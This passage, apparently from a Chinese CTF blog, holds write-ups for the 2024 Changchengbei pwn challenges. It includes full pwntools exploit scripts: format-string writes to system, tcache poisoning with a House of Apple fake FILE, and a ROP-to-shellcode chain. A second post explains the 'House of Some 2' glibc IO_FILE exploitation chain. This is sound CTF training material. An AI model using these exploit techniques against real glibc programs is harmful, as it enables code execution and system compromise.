    payload = f&quot;%{target % 0x100}c%23$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)
    
    payload = f&quot;%{(write // (0x100 ** i)) % (0x100)}c%53$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)


stack_target = stack - 0x110 + 0x18
payload = f&quot;%{stack_target % 0x10000}c%23$hn&quot;.encode()
io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

write = libc_base + 0x50d60 # system
for i in range(6):
    target = stack_target + i
    payload = f&quot;%{target % 0x100}c%23$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)
    
    payload = f&quot;%{(write // (0x100 ** i)) % (0x100)}c%53$hhn&quot;.encode()
    io.sendlineafter(b&quot;content&amp;gt; &quot;, payload)

io.sendlineafter(b&quot;content&amp;gt; &quot;, b&quot;/bin/sh\x00&quot;)
io.sendlineafter(b&quot;content&amp;gt; &quot;, b&quot;/bin/sh\x00&quot;)
io.sendlineafter(b&quot;content&amp;gt; &quot;, b&quot;/bin/sh\x00&quot;)
io.sendlineafter(b&quot;content&amp;gt; &quot;, b&quot;/bin/sh\x00&quot;)

pause(1)
io.sendline(b&quot;cat flag&quot;)


io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331201257167.png&quot; alt=&quot;image-20240331201257167&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ps: 附录中有调试使用的dockerfile与docker-compose.yml&lt;/p&gt;
&lt;h2&gt;SomeTime&lt;/h2&gt;
&lt;p&gt;本题是单个堆块的堆风水题目，是一个你与some从恶魔手中夺取flag的合作历险故事&lt;/p&gt;
&lt;p&gt;漏洞点在&lt;/p&gt;
&lt;p&gt;SIGALARM的信号处理函数watch中&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331201819825.png&quot; alt=&quot;image-20240331201819825&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里会将now指针中的低位字节清零，剧情中，some在最后时刻能为你做到最后的事情。&lt;/p&gt;
&lt;p&gt;信号注册在init函数中&lt;/p&gt;
&lt;p&gt;思路也比较简单只需要利用tcachebin机制，&lt;strong&gt;把tcachebin当作以前pwn可以保存多个堆块的题目的堆块数组即可&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了做到上述内容，我们要保证每次申请释放的size大小不同，即可在tcachebin中只存在一个堆块&lt;/p&gt;
&lt;p&gt;由于我们可以将申请出来的指针做低字节的修改，所以我们可以很方便的构造堆叠，修改tcachebin的size位使得size变大，扩大溢出范围，之后我们可以通过重复申请tcachebin内容的堆块，泄露地址，最后完成fd修改，最后houseofapple一把梭&lt;/p&gt;
&lt;h3&gt;关于堆风水&lt;/h3&gt;
&lt;p&gt;这道一题目，我们需要尽量申请时候使用不同的size，否则将会申请出相同地址的堆块，或者这里可以多次add，使得申请多个无指针引用内存，使得内存地址扩展，之后篡改size顶部tcachebin，size位置，使得刚好大小超过0x420并能完美覆盖中间tcache，衔接上后方伪造的size，使得此时free后能进入unsortedbin，从而可以泄露main_arena地址，使得泄露libc地址。&lt;/p&gt;
&lt;p&gt;之后就是修改tcachebin的count使得大于1，这里就要一些堆风水的技巧，一种可行的思路是，我们构造一种堆叠，&lt;strong&gt;使得一个大的tcachebin堆块覆盖两个及其以上的堆块&lt;/strong&gt;，这样我们就可以同时操控chunk1和chunk2的内容，控制这两个size设置为相同的即可&lt;/p&gt;
&lt;p&gt;（注意由于本题目只能拿到一个堆块做操作，也就是修改fakechunk的时候chunk1与2是在tcachebin中的，tacachebin中并不检查malloc取出的堆块大小是否正确，同时这里修改chunk2时候，注意恢复chunk1的fd和key字段）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| ---------- fake chunk -------------------|
...-| --- chunk1 --- | --- chunk2 --- | -...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;EXP&lt;/h3&gt;
&lt;p&gt;PS：由于本题做了大量的sleep操作，这里在本地调试的时候需要patch掉sleep的时间，使得调试变快&lt;/p&gt;
&lt;p&gt;在程序最后需要等待时间到达，系统自动调用exit退出即可获得shell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;info&apos;
context.arch = &apos;amd64&apos;

# io = process(b&quot;./sometime&quot;)
io = remote(&quot;127.0.0.1&quot;, 9999)
tob = lambda x: str(x).encode()

def add(size, content):
    io.sendlineafter(b&quot;(1:add,2:release,3:print)&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;size&amp;gt; &quot;, tob(size))
    io.sendafter(b&quot;note&amp;gt; &quot;, content)

def free():
    io.sendlineafter(b&quot;(1:add,2:release,3:print)&amp;gt; &quot;, b&quot;2&quot;)

def show():
    io.sendlineafter(b&quot;(1:add,2:release,3:print)&amp;gt; &quot;, b&quot;3&quot;)

log.success(&quot;exp running ...&quot;)
add(0x70, b&quot;aaa&quot;)
free()

add(0x30, b&quot;aaa&quot;)
free()
add(0x40, b&quot;aaa&quot;)
free()
add(0x50, b&quot;aaa&quot;)
free()

for i in range(0xa0-0x10, 0xf0, 0x10): 
    add(i, b&quot;aaa&quot;)
    free()

add(0x60, b&quot;aaa&quot;)
free()
add(0x70, b&quot;a&quot; * 0x30 + p64(0) + p64(0x5e1) + b&quot;114514&quot;)
free()

add(0x30, b&quot;aaaa&quot;)

io.recvuntil(b&quot;I can only assist up to this point. Sorry.&quot;)
io.sendline(b&quot;3&quot;)

free()
add(0x100, b&quot;\n&quot;)
show()
leak = u64(io.recv(6).ljust(8, b&quot;\x00&quot;))
libc_base = leak - 0x21a10a
log.success(f&quot;libc_base: {libc_base:#x}&quot;)
free()
libc = ELF(&quot;./libc.so.6&quot;, checksec=False)
libc.address = libc_base

add(0x100, b&quot;a&quot; * (0x78) + b&quot;deadbeaf&quot;)
show()
io.recvuntil(b&quot;deadbeaf&quot;)
heap_addr = u64(io.recv(5).ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12
log.success(f&quot;heap_addr: {heap_addr:#x}&quot;)

free()
add(0x100, b&quot;a&quot; * (0x80) + b&quot;deadbeaf&quot;)
show()
io.recvuntil(b&quot;deadbeaf&quot;)
key = u64(io.recv(8).ljust(8, b&quot;\x00&quot;))
log.success(f&quot;key: {key:#x}&quot;)

free()
add(0x100, b&quot;a&quot; * (0x70) + p64(0) + p64(0x51) + p64(heap_addr &amp;gt;&amp;gt; 12))
free()

add(0x100, flat({
    0x80: heap_addr &amp;gt;&amp;gt; 12,
    0x88: key,
    0xc8: 0x31
}))
free()
add(0x50, b&quot;aaaa&quot;)
free()

add(0x100, flat({
    0x78: 0x31,
    0x80: heap_addr &amp;gt;&amp;gt; 12,
    0x88: key,
}))
free()
add(0x40, b&quot;aaaa&quot;)
free()

add(0x100, flat({
    0x78: 0x51,
    0x80: (libc.symbols[&quot;_IO_list_all&quot;]) ^ (heap_addr &amp;gt;&amp;gt; 12),
}))
free()
add(0x20, b&quot;aaaa&quot;)
free()

fake_file_addr = heap_addr + 0x7f0
# ref: https://blog.csome.cc/p/houseofminho-wp/
add(0xe0, flat({
    0x0: b&quot;  sh;&quot;,
    0x28: libc.symbols[&apos;system&apos;],
    0xa0: fake_file_addr-0x10, # wide data
    0x88: fake_file_addr+0x100, # 可写，且内存为0即可
    0xD0: fake_file_addr+0x28-0x68, # wide data vtable
    0xD8: libc.symbols[&apos;_IO_wfile_jumps&apos;], # vtable  
}, filler=b&quot;\x00&quot;))

add(0x20, p64(fake_file_addr))


io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240331204105421.png&quot; alt=&quot;image-20240331204105421&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ps: 附录中有调试使用的dockerfile与docker-compose.yml&lt;/p&gt;
&lt;h2&gt;shutup&lt;/h2&gt;
&lt;p&gt;此题没有输出，单纯只有输入，没有开PIE，没有开canary，漏洞就是栈溢出&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401042955524.png&quot; alt=&quot;image-20240401042955524&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是这里难点是如何泄露，或者如何构造出libc的任意地址，很明显，这里不给我们第二次的输入机会&lt;/p&gt;
&lt;p&gt;需要注意到，题目给了一个没有调用的函数，可以从数组中取出数据，这里可以利用数组下标负数溢出，使得取出got表中read地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401043039760.png&quot; alt=&quot;image-20240401043039760&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401043048348.png&quot; alt=&quot;image-20240401043048348&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获得了read地址还不足以能够做到取出libc任意地址，但是如果这里的&lt;code&gt;qword_601060 += atoi(nptr);&lt;/code&gt;逻辑就很巧妙，如果我们能够按照下面的方法控制执行流，那么我们就能将read内容存入qword_601060中，之后我们利用rop，在bss上布置一个数字，并使用&lt;code&gt;pop_rdi; ret 0x000400703&lt;/code&gt;的手法，就能在qword_601060中构造出read+offset，我们也就能获得syscall&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401043318111.png&quot; alt=&quot;image-20240401043318111&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;任意地址写原语&lt;/h3&gt;
&lt;p&gt;在进入栈溢出函数的开始，我们只能写入0x40个字节，很明显，这是不够的，我们需要找到一种方法，能够任意地址写，并能支持写入多个字符。&lt;/p&gt;
&lt;p&gt;答案是：依然还是函数sub_4006B7，我们再次审视下面的函数汇编，会发现，edi的数值会写入[rbp-4]的位置，而rbp我们可以通过pop rbp的rop控制&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401043048348.png&quot; alt=&quot;image-20240401043048348&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们很轻松的就能构造如下的原语&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
    pop_rbp, 4 + addr,
    pop_rdi, 0xde,
    0x0004006BB, rbp,
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这就能向addr中写入0xde字节，为什么我们只能写入一个字节呢？因为edi的数值后续会作为数组的索引，数字太大会导致索引到不可读的内存，导致段错误，所以为了保险起见，这里我们每次只写入1个字节&lt;/p&gt;
&lt;p&gt;最后我们就能构造任意地址写的payload构造函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def make_bytes(addr, bbb):
    target = []
    for i in range(len(bbb)):
        tmp = bbb[i]
        if tmp == 0:
            continue
        template = [
            pop_rbp, 4 + addr + i,
            pop_rdi, tmp,
            0x0004006BB, base,
        ]
        target.extend(template)
    return target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来的内容就比较简单，控制rdi、rsi、rdx之后调用mprotect修改bss的可执行权限，写入shellcode即可&lt;/p&gt;
&lt;p&gt;但是rdx的控制这里利用了，这个部分，控制r12、rbx内容使得call的内容刚好是pop rbp，将call在栈上写入的地址pop掉即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401044525680.png&quot; alt=&quot;image-20240401044525680&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;EXP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;
context.arch = &apos;amd64&apos;

shellcode = asm(
f&quot;&quot;&quot;
mov rax, {u64((b&quot;./flag&quot; + bytearray([0]*8))[:8])}
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, 3
mov rsi, rsp
mov rdx, 0x40
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
&quot;&quot;&quot;)


&quot;&quot;&quot;
0x0000000000400655 : call qword ptr [rbp + 0x48]
&quot;&quot;&quot;

tob = lambda x: str(x).encode()
io = process(&quot;./shutup&quot;)

mov_rax_libc = 0x0000400696
pop_rdi = 0x00000000004007e3
get_rax = 0x004006B7 
call_rax = 0x000000000040064e
call_ptr_rax = 0x00000000004008a3
pop_r14_r15 = 0x004007E0
pop_rbp = 0x00000000004005c0
pop_rsp_r13_r14_r15 = 0x00000000004007dd
pop_rbx_rbp_r12_r13_r14_r15  = 0x04007DA
jmp_rax = 0x00000000004005b5
pop_r13_r14_r15 = 0x0004007DE
pop_rsi_r15 = 0x00000000004007e1
atoi = 0x00400550

offset = 0x10 # offset 2 syscall
base = 0x00601380
io.sendline(flat({
    0: base + 0x38, # rbp
    0x8: pop_rdi, 
    0x10: base + 0x30,
    0x18: 0x00400703, # call atoi
    0x20: pop_r14_r15,
    0x28: b&quot;ls&quot;,
    0x30: tob(offset).rjust(7, b&quot; &quot;) + b&quot;\x00&quot;,
    0x38: 0x0601060-0x48,
}, filler=b&quot;\x00&quot;))
pause(1)

io.send(flat({
    0: tob(0x40000),
    0xf: b&quot;\x00&quot;
}, filler=b&quot;\x00&quot;))


def make_bytes(addr, bbb):
    target = []
    for i in range(len(bbb)):
        tmp = bbb[i]
        if tmp == 0:
            continue
        template = [
            pop_rbp, 4 + addr + i,
            pop_rdi, tmp,
            0x0004006BB, base,
        ]
        target.extend(template)
    return target

rop_chain = []

rop_chain.extend(make_bytes(base + 0x40, flat(
    [
        pop_rbx_rbp_r12_r13_r14_r15, 0, 0, base + 0x40 + 8 * 8, 7, 0, 0,
        0x4007C0, # mov     rdx, r13
        pop_rbp, 0x0601060,
        pop_rdi, 2,
        get_rax,
        pop_rdi, base &amp;amp; (~0xfff),
        pop_rsi_r15, 0x1000, 0,
        0x000000000040094b, # jmp ptr[rbp]
        base + 0xe0,
        shellcode
    ], filler=b&quot;\x00&quot;
)))

rop_chain.extend(make_bytes(0x00601068, b&quot;7&quot;))
rop_chain.extend(make_bytes(0x00601070, p8(0xa)))

io.sendline(flat({
    0: b&quot;0\x00&quot;,
    0x10: base,
    0x18: rop_chain + [
        pop_rdi, 2**32-((0x000601060-0x600fd8)//8), # read got
        get_rax,
        0x0000400715,
    ]
}))

io.shutdown(&quot;send&quot;)

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;2024changchengbei/image-20240401045219256.png&quot; alt=&quot;image-20240401045219256&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不同的libc，修改一下上面offset变量即可&lt;/p&gt;
&lt;h2&gt;附录&lt;/h2&gt;
&lt;p&gt;以下是Ubuntu GLIBC 2.35-0ubuntu3.1的docker调试环境&lt;/p&gt;
&lt;p&gt;Dockerfile&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM ubuntu:22.04@sha256:b492494d8e0113c4ad3fe4528a4b5ff89faa5331f7d52c5c138196f69ce176a6

RUN apt update
RUN apt install socat -yyq

RUN useradd -M -s /bin/false ctf

WORKDIR /app
COPY your_elf flag /app/
RUN chmod +x /app/your_elf &amp;amp;&amp;amp; chmod -w /app/your_elf &amp;amp;&amp;amp; chmod -w /app/flag

USER ctf

CMD [&quot;socat&quot;, &quot;TCP-LISTEN:9999,reuseaddr,fork&quot;, &quot;EXEC:/app/your_elf&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;docker-compose.yml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3&apos;
services:
  pwn-dev:
    build: .
    ports:
      - &quot;9999:9999&quot;
    privileged: true
    restart: unless-stopped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目zip&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://gitee.com/csomebro/ctftask/tree/master/2024-03_%E9%95%BF%E5%9F%8E%E6%9D%AF&quot;&gt;Csome/CTFTask/2024-03_长城杯&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>House of Some 2 —— 高版本Glibc的IO_FILE利用思路</title><link>https://blog.csome.cc/p/house-of-some-2/</link><guid isPermaLink="true">https://blog.csome.cc/p/house-of-some-2/</guid><pubDate>Mon, 29 Jan 2024 15:34:23 GMT</pubDate><content:encoded>&lt;p&gt;House of Some 2是独立的一条IO_FILE利用链，主要关注的函数是&lt;code&gt;_IO_wfile_jumps_maybe_mmap&lt;/code&gt;中的&lt;code&gt;_IO_wfile_underflow_maybe_mmap&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;利用条件为&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;已知libc地址&lt;/li&gt;
&lt;li&gt;可控地址(可写入fake file)&lt;/li&gt;
&lt;li&gt;可控stdout指针或者&lt;code&gt;_IO_2_1_stdout_&lt;/code&gt;结构体&lt;/li&gt;
&lt;li&gt;程序具有printf或者puts输出函数&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;优点如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;与House of Some一样可以绕过目前的vtable检查&lt;/li&gt;
&lt;li&gt;printf和puts比较普遍，适用性广&lt;/li&gt;
&lt;li&gt;可以在栈上劫持控制流，衔接House of Some，完成最后攻击&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;原理描述&lt;/h2&gt;
&lt;h3&gt;前置知识&lt;/h3&gt;
&lt;p&gt;首先我们先关注&lt;code&gt;_IO_wfile_underflow_maybe_mmap&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wint_t
_IO_wfile_underflow_maybe_mmap (FILE *fp)
{
  /* This is the first read attempt.  Doing the underflow will choose mmap
     or vanilla operations and then punt to the chosen underflow routine.
     Then we can punt to ours.  */
  if (_IO_file_underflow_maybe_mmap (fp) == EOF)
    return WEOF;

  return _IO_WUNDERFLOW (fp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数最后调用了&lt;code&gt;_wide_data&lt;/code&gt;内的虚表&lt;code&gt;_IO_WUNDERFLOW&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么继续深入&lt;code&gt;_IO_file_underflow_maybe_mmap&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int
_IO_file_underflow_maybe_mmap (FILE *fp)
{
  /* This is the first read attempt.  Choose mmap or vanilla operations
     and then punt to the chosen underflow routine.  */
  decide_maybe_mmap (fp);
  return _IO_UNDERFLOW (fp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数最后调用了FILE的虚表&lt;code&gt;_IO_UNDERFLOW&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;继续深入&lt;code&gt;decide_maybe_mmap&lt;/code&gt;函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;static void
decide_maybe_mmap (FILE *fp)
{
  /* We use the file in read-only mode.  This could mean we can
     mmap the file and use it without any copying.  But not all
     file descriptors are for mmap-able objects and on 32-bit
     machines we don&apos;t want to map files which are too large since
     this would require too much virtual memory.  */
  struct __stat64_t64 st;

  if (_IO_SYSSTAT (fp, &amp;amp;st) == 0
      &amp;amp;&amp;amp; S_ISREG (st.st_mode) &amp;amp;&amp;amp; st.st_size != 0
      /* Limit the file size to 1MB for 32-bit machines.  */
      &amp;amp;&amp;amp; (sizeof (ptrdiff_t) &amp;gt; 4 || st.st_size &amp;lt; 1*1024*1024)
      /* Sanity check.  */
      &amp;amp;&amp;amp; (fp-&amp;gt;_offset == _IO_pos_BAD || fp-&amp;gt;_offset &amp;lt;= st.st_size))
    {
      /* Try to map the file.  */
      void *p;
      ... 这里主要就是做了mmap
    }

  /* We couldn&apos;t use mmap, so revert to the vanilla file operations.  */

  if (fp-&amp;gt;_mode &amp;lt;= 0)
    _IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_file_jumps;
  else
    _IO_JUMPS_FILE_plus (fp) = &amp;amp;_IO_wfile_jumps;
  fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = &amp;amp;_IO_wfile_jumps;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个函数有一个关键的&lt;code&gt;_IO_SYSSTAT&lt;/code&gt;调用，以及，在这个函数最后会恢复FILE和&lt;code&gt;_wide_data&lt;/code&gt;的虚表&lt;/p&gt;
&lt;p&gt;整理一下可以知道，如果一个FILE进入了函数&lt;code&gt;_IO_wfile_underflow_maybe_mmap&lt;/code&gt;，那么他将会运行如下的流程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;_IO_SYSSTAT(fp, &amp;amp;st)&lt;/code&gt;调用虚表，传入栈指针&lt;/li&gt;
&lt;li&gt;decide_maybe_mmap函数结束，恢复两个虚表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_UNDERFLOW (fp)&lt;/code&gt;调用虚表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_WUNDERFLOW (fp)&lt;/code&gt;调用虚表&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;以及补充的条件&lt;/p&gt;
&lt;p&gt;在&lt;code&gt;_IO_file_jumps&lt;/code&gt;虚表的&lt;code&gt;_IO_UNDERFLOW &lt;/code&gt;函数中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  count = _IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,
		       fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步，三个参数都可控，也就是可以写入任意地址&lt;/p&gt;
&lt;p&gt;最后我们需要补充一下&lt;code&gt;IO_jump_t&lt;/code&gt;结构体的全貌&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* offset      |    size */  type = struct _IO_jump_t {
/* 0x0000      |  0x0008 */    size_t __dummy;
/* 0x0008      |  0x0008 */    size_t __dummy2;
/* 0x0010      |  0x0008 */    _IO_finish_t __finish;
/* 0x0018      |  0x0008 */    _IO_overflow_t __overflow;
/* 0x0020      |  0x0008 */    _IO_underflow_t __underflow;
/* 0x0028      |  0x0008 */    _IO_underflow_t __uflow;
/* 0x0030      |  0x0008 */    _IO_pbackfail_t __pbackfail;
/* 0x0038      |  0x0008 */    _IO_xsputn_t __xsputn;
/* 0x0040      |  0x0008 */    _IO_xsgetn_t __xsgetn;
/* 0x0048      |  0x0008 */    _IO_seekoff_t __seekoff;
/* 0x0050      |  0x0008 */    _IO_seekpos_t __seekpos;
/* 0x0058      |  0x0008 */    _IO_setbuf_t __setbuf;
/* 0x0060      |  0x0008 */    _IO_sync_t __sync;
/* 0x0068      |  0x0008 */    _IO_doallocate_t __doallocate;
/* 0x0070      |  0x0008 */    _IO_read_t __read;
/* 0x0078      |  0x0008 */    _IO_write_t __write;
/* 0x0080      |  0x0008 */    _IO_seek_t __seek;
/* 0x0088      |  0x0008 */    _IO_close_t __close;
/* 0x0090      |  0x0008 */    _IO_stat_t __stat;
/* 0x0098      |  0x0008 */    _IO_showmanyc_t __showmanyc;
/* 0x00a0      |  0x0008 */    _IO_imbue_t __imbue;

                               /* total size (bytes):  168 */
                             }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第一次猜想&lt;/h3&gt;
&lt;p&gt;在printf和puts函数中，最后会调用stdout的&lt;code&gt;__xsputn&lt;/code&gt;虚表的入口&lt;/p&gt;
&lt;p&gt;如果我们使得&lt;code&gt;__xsputn&lt;/code&gt;的偏移直接指向&lt;code&gt;__underflow&lt;/code&gt;呢？&lt;/p&gt;
&lt;p&gt;那么就会得到如下的偏移&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;__xsputn -&amp;gt; __underflow
__stat   -&amp;gt; __write
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，修改stdout的虚表为&lt;code&gt;_IO_wfile_jumps_maybe_mmap-0x18&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在上述调用过程中&lt;code&gt;_IO_SYSSTAT(fp, &amp;amp;st)&lt;/code&gt;这个函数就会变成&lt;code&gt;write(fp, &amp;amp;st, ??)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果我们能够控制rdx就好了，这里就能做到栈数据泄露&lt;/p&gt;
&lt;h3&gt;rdx的控制&lt;/h3&gt;
&lt;p&gt;很遗憾，在上述函数过程中，并没有涉及rdx的操作(注: 以Ubuntu GLIBC 2.35-0ubuntu3.1为例，后文相同)&lt;/p&gt;
&lt;p&gt;能够控制的也就只有后续调用的&lt;code&gt;_IO_UNDERFLOW (fp)&lt;/code&gt;中的&lt;code&gt;_IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);&lt;/code&gt;可以控制，由于&lt;code&gt;decide_maybe_mmap&lt;/code&gt;会强制恢复虚表，所以这里我们不用担心篡改虚表带来的影响&lt;/p&gt;
&lt;p&gt;如果rdx不可控直接执行&lt;code&gt;write(fp, &amp;amp;st, ??)&lt;/code&gt;会怎么样，返回0或者非0&lt;/p&gt;
&lt;p&gt;那么回到&lt;code&gt;decide_maybe_mmap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  if (_IO_SYSSTAT (fp, &amp;amp;st) == 0
      &amp;amp;&amp;amp; S_ISREG (st.st_mode) &amp;amp;&amp;amp; st.st_size != 0
		...
     &amp;amp;&amp;amp; (fp-&amp;gt;_offset == _IO_pos_BAD || fp-&amp;gt;_offset &amp;lt;= st.st_size))
    {
		...
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里判断，如果&lt;code&gt;_IO_SYSSTAT (fp, &amp;amp;st)&lt;/code&gt;返回0，那么直接就不会进入if，如果返回不为0，我们看看&lt;code&gt;S_ISREG&lt;/code&gt;的定义&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#define	__S_ISTYPE(mode, mask)	(((mode) &amp;amp; __S_IFMT) == (mask))
#define	S_ISREG(mode)	 __S_ISTYPE((mode), __S_IFREG)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不必关注详细的值，这里可以看到最后判断采用的是==判断，由于栈上数据的限制，这里通过判断的概率不高&lt;/p&gt;
&lt;p&gt;以及还有&lt;code&gt;st.st_size != 0&lt;/code&gt;判断，在没有正确执行stat逻辑，栈维持原貌的情况下，这个if通过概率不高&lt;/p&gt;
&lt;p&gt;如果还高，可以控制&lt;code&gt;fp-&amp;gt;_offset == _IO_pos_BAD || fp-&amp;gt;_offset &amp;lt;= st.st_size&lt;/code&gt;为假即可&lt;/p&gt;
&lt;p&gt;那么就能顺利的执行完&lt;code&gt;decide_maybe_mmap&lt;/code&gt;，并且&lt;strong&gt;保留伪造的fp内容没有任何变动&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来就是调用&lt;code&gt;_IO_file_jumps&lt;/code&gt;虚表的&lt;code&gt;_IO_UNDERFLOW &lt;/code&gt;，操作执行read&lt;/p&gt;
&lt;p&gt;这里，我们可以设置，注意fake_file_start就是我们当前控制的fp地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_buf_base = fake_file_start
_IO_buf_end  = fake_file_start + 0x1c8 // 这里的1c8包括了widedata的长度
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么，这里我们就能再次重新复写fake，并扩大可控长度，widedata都可控了&lt;/p&gt;
&lt;p&gt;回到上面执行流程，接下来就会执行&lt;code&gt;_IO_WUNDERFLOW (fp)&lt;/code&gt;这个虚表函数了&lt;/p&gt;
&lt;p&gt;然而，上述我们通过underflow重新控制了fp，也就是接下来的这个虚表函数，我们也是可控的&lt;/p&gt;
&lt;p&gt;这里我们控制为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_WUNDERFLOW(fp) -&amp;gt; _IO_wfile_underflow_maybe_mmap
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;回到起点&lt;/h3&gt;
&lt;p&gt;我们再次回到了起点，但是这次不一样了&lt;/p&gt;
&lt;p&gt;在上一个小节，其实我们已经控制了rdx，因为&lt;code&gt;_IO_SYSREAD (fp, fp-&amp;gt;_IO_buf_base,fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base);&lt;/code&gt;的第三个参数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rdx = fp-&amp;gt;_IO_buf_end - fp-&amp;gt;_IO_buf_base
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，此时我们依然有这四个执行流程&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;_IO_SYSSTAT(fp, &amp;amp;st)&lt;/code&gt;调用虚表，传入栈指针&lt;/li&gt;
&lt;li&gt;decide_maybe_mmap函数结束，恢复两个虚表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_UNDERFLOW (fp)&lt;/code&gt;调用虚表&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_WUNDERFLOW (fp)&lt;/code&gt;调用虚表&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不同的是，此时&lt;code&gt;_IO_SYSSTAT(fp, &amp;amp;st)&lt;/code&gt;可以被指向任意的虚表函数，因为在第二次控制fp的时候，我们又一次覆写了FILE的vtable&lt;/p&gt;
&lt;p&gt;那么此时我们就可以控制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_SYSSTAT(fp, &amp;amp;st) -&amp;gt; _IO_new_file_read(fp, &amp;amp;st, rdx)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们已经成功完成了栈溢出&lt;/p&gt;
&lt;h3&gt;还有高手？Canary&lt;/h3&gt;
&lt;p&gt;很不幸，decide_maybe_mmap函数开启了canary，我们没办法在没有泄露栈的情况下，完成栈溢出&lt;/p&gt;
&lt;p&gt;由于fileno的设置，无法完成write(1,stack,rdx)的操作，真的没有办法的了吗&lt;/p&gt;
